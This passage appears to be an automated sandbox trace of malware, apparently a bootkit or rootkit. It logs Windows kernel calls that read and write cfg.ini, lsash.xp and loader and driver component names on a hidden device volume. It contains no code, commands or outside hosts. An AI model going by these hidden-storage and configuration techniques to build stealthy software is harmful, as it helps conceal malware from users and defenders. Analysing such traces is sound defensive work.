Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.887] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.887] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.887] IdePortDispatch () returned 0x103 [0128.887] KeWaitForMutexObject () returned 0x0 [0128.887] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.887] KeLeaveCriticalRegion () [0128.887] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.888] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.888] KeEnterCriticalRegion () [0128.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.888] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.888] KeLeaveCriticalRegion () [0128.888] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.888] KeEnterCriticalRegion () [0128.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.888] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.888] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.888] KeLeaveCriticalRegion () [0128.888] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.888] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.888] KeEnterCriticalRegion () [0128.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.888] ExFreePoolWithTag (P=0xfffffa8003bfffb0, Tag=0x0) [0128.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.888] KeLeaveCriticalRegion () [0128.888] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.888] ReleaseMutex (hMutex=0xf0) returned 1 [0128.888] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.888] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.888] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.888] KeEnterCriticalRegion () [0128.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.888] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.888] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.888] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.888] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.888] IdePortDispatch () returned 0x103 [0128.888] KeWaitForMutexObject () returned 0x0 [0128.889] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.889] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.889] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.889] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.889] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.889] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01720 [0128.889] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.889] KeLeaveCriticalRegion () [0128.889] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.889] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.889] KeEnterCriticalRegion () [0128.889] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.889] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.889] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.889] KeLeaveCriticalRegion () [0128.889] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.889] KeEnterCriticalRegion () [0128.889] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.889] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.889] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.889] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.889] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.889] IdePortDispatch () returned 0x103 [0128.889] KeWaitForMutexObject () returned 0x0 [0128.889] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.889] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.889] KeLeaveCriticalRegion () [0128.889] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.890] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.890] KeEnterCriticalRegion () [0128.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.890] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b61000 [0128.890] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.890] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.890] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.890] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.890] IdePortDispatch () returned 0x103 [0128.890] KeWaitForMutexObject () returned 0x0 [0128.890] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.890] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.890] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.890] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.890] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.890] IdePortDispatch () returned 0x103 [0128.890] KeWaitForMutexObject () returned 0x0 [0128.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.890] KeLeaveCriticalRegion () [0128.890] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.891] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.891] KeEnterCriticalRegion () [0128.891] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.891] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.891] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.891] KeLeaveCriticalRegion () [0128.891] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.891] KeEnterCriticalRegion () [0128.891] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.891] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.891] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.891] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.891] KeLeaveCriticalRegion () [0128.891] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.891] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.891] KeEnterCriticalRegion () [0128.891] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.891] ExFreePoolWithTag (P=0xfffffa8003c01720, Tag=0x0) [0128.891] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.891] KeLeaveCriticalRegion () [0128.891] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.891] ReleaseMutex (hMutex=0xf0) returned 1 [0128.891] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.891] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.891] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.891] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.891] KeEnterCriticalRegion () [0128.891] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.891] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.892] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.892] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.892] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.892] IdePortDispatch () returned 0x103 [0128.892] KeWaitForMutexObject () returned 0x0 [0128.892] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.892] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.892] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.892] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.892] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.892] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.892] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.892] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.892] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.892] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.892] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.892] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.892] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.892] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.892] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.892] KeLeaveCriticalRegion () [0128.892] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.892] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.892] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.892] KeEnterCriticalRegion () [0128.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.892] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.892] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.892] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.892] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.892] IdePortDispatch () returned 0x103 [0128.893] KeWaitForMutexObject () returned 0x0 [0128.893] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.893] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.893] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.893] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.893] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.893] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.893] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.893] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.893] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.893] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.893] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.893] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.893] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.893] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.893] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.893] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.893] KeLeaveCriticalRegion () [0128.893] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.893] ReleaseMutex (hMutex=0x100) returned 1 [0128.893] Sleep (dwMilliseconds=0x2bf20) [0128.901] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70071970, dwHighDateTime=0x1d24fa4)) [0128.901] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.901] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.901] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.901] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.901] KeEnterCriticalRegion () [0128.901] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.901] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.901] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.902] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.902] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.902] IdePortDispatch () returned 0x103 [0128.902] KeWaitForMutexObject () returned 0x0 [0128.902] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.902] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.902] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.902] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.902] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.902] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c011d0 [0128.902] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.902] KeLeaveCriticalRegion () [0128.902] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.902] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.902] KeEnterCriticalRegion () [0128.902] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.902] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.902] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.902] KeLeaveCriticalRegion () [0128.902] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.902] KeEnterCriticalRegion () [0128.902] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.902] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.902] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.902] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.902] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.902] IdePortDispatch () returned 0x103 [0128.903] KeWaitForMutexObject () returned 0x0 [0128.903] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.903] KeLeaveCriticalRegion () [0128.903] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.903] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.903] KeEnterCriticalRegion () [0128.903] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.903] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b64000 [0128.903] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.903] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.903] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.903] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.903] IdePortDispatch () returned 0x103 [0128.903] KeWaitForMutexObject () returned 0x0 [0128.903] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.903] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.903] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.903] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.903] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.903] IdePortDispatch () returned 0x103 [0128.903] KeWaitForMutexObject () returned 0x0 [0128.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.903] KeLeaveCriticalRegion () [0128.903] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.904] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.904] KeEnterCriticalRegion () [0128.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.904] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.904] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.904] KeLeaveCriticalRegion () [0128.904] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.904] KeEnterCriticalRegion () [0128.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.904] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.904] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.904] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.904] KeLeaveCriticalRegion () [0128.904] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.904] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.904] KeEnterCriticalRegion () [0128.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.904] ExFreePoolWithTag (P=0xfffffa8003c011d0, Tag=0x0) [0128.904] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.904] KeLeaveCriticalRegion () [0128.904] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.904] ReleaseMutex (hMutex=0xf0) returned 1 [0128.904] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.904] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.905] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.905] KeEnterCriticalRegion () [0128.905] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.905] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.905] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.905] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.905] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.905] IdePortDispatch () returned 0x103 [0128.905] KeWaitForMutexObject () returned 0x0 [0128.905] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.905] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.905] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.905] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.905] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.905] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c003b0 [0128.905] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.905] KeLeaveCriticalRegion () [0128.905] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.905] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: 